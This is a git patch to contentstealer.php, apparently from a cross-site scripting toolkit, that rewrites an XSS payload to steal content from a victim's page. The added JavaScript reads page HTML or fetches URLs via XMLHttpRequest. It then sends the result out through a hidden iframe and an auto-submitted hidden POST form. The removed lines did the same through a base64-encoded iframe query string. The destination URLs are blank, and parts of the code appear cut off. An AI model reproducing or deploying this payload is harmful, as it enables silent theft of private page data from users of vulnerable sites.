From 9274c0f670c2a5425602758cc581c47f1a9bfdda Mon Sep 17 00:00:00 2001 From: strawp Date: Wed, 31 Aug 2016 11:13:19 +0100 Subject: [PATCH] Re-wrote contentstealer.php to use POST and async XHRs --- contentstealer.php | 94 ++++++++++++++++++++++++++++++++++------------ 1 file changed, 70 insertions(+), 24 deletions(-) diff --git a/contentstealer.php b/contentstealer.php index 5563f50..76ccc93 100755 --- a/contentstealer.php +++ b/contentstealer.php @@ -1,33 +1,79 @@ + x=new XMLHttpRequest(); + x.onreadystatechange = function(){ + if( this.readyState == this.DONE ){ + xsssendcontent(this.responseText); + } + } + x.open('GET','' ); + x.send(null) + + xsssendcontent(document.getElementById('').outerHTML); + -var url = "?c=" + encodeURIComponent(btoa(content)); -f = document.createElement('iframe'); -f.src = url; -document.getElementsByTagName('body')[0].appendChild(f); - + var content = ''; + var col = document.getElementsByTagName(''); + for( var i=0; i + } + + function xsssendcontent(content){ + document.getElementById('xss_content').value = content; + document.getElementById('form_xss').submit(); + } + if( !document.getElementById('frame_xss') ){ + frame = document.createElement('iframe'); + frame.style='visibility: hidden;'; + frame.name='frame_xss'; + form = document.createElement('form'); + form.action = '' + form.target = 'frame_xss'; + form.method='POST'; + form.id = 'form_xss'; + e = document.createElement('input'); + e.type = 'hidden'; + e.name = 'c'; + e.id = 'xss_content'; + form.appendChild(e); + document.getElementsByTagName('body')[0].appendChild(frame); + document.getElementsByTagName('body')[0].appendChild(form); + } + xssgetcontent(); +